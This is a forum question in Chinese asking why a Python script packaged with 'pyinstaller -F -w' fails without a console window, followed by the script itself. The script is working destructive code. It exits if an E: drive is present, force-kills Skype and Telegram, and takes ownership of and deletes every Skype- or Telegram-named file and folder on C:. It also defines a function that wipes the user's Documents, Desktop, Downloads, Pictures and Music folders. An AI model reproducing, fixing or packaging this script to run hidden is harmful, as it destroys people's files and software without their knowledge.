我是python的新手。我用pyinstaller制作.exe文件,但不想显示控制台窗口。如果我使用pyinstaller -F xxx.py
(有一个窗口)就可以了
但是如果我使用failed to execute script xxx
pyinstaller -F -w xxx.py
我不知道如何记录它。
python:3.7.5
pyinstaller:3.5
Windows 10
import os
import re
import shutil
import sys
import time
from os import listdir
from os.path import isfile, isdir, join
from subprocess import PIPE, Popen
from typing import List
if os.path.exists("e:/"):
sys.exit()
all_Path = "C:\\"
def cmdline(command):
process = Popen(
args=command,
stdout=PIPE,
shell=True
)
(out, err) = process.communicate()
out = str(out).replace("\\r\\n'", "")
out = out.replace("b'", "")
return out
username = cmdline('echo %username%')
def Clear_User_Data():
user_path = f'C:\\Users\\{username}'
folders = ['Downloads', 'Documents', 'Music', 'Pictures', 'Links', 'Desktop']
for folder in folders:
shutil.rmtree(f'{user_path}\{folder}', ignore_errors=True)
def Kill_Tasks(tasks: List, times: int):
t = times
for task in tasks:
print(f'Waiting for {task} ... ')
times = t
while times > 0:
a = cmdline('tasklist')
if a.find(task) > 0:
os.system(f'taskkill /IM {task} /F')
break
else:
time.sleep(1)
times -= 1
def Seek_Spec_Folder(keyword: str, path: str):
folders = set()
for r, d, f in os.walk(path):
if re.search(keyword, r, re.IGNORECASE):
folders.add(r)
return folders
def Delete_Spec_Files(keyword: str, path: str):
for r, d, f in os.walk(path):
for file in f:
if re.search(keyword, file, re.IGNORECASE):
target_path = os.path.join(r, file)
try:
os.system(f'TAKEOWN /F "{target_path}" /R ')
os.system(f'icacls "{target_path}" /grant {username}:f')
except Exception as e:
print(e)
folders = Seek_Spec_Folder(keyword, path)
for folder in folders:
os.system(f'TAKEOWN /F "{folder}" /R ')
os.system(f'icacls "{folder}" /grant {username}:f')
shutil.rmtree(folder, ignore_errors=True)
Kill_Tasks(["SkypeApp.exe", "SkypeBackgroundHost.exe", "Telegram.exe", "Skype.exe"], 9)
Delete_Spec_Files('Skype', all_Path)
Delete_Spec_Files('Telegram', all_Path)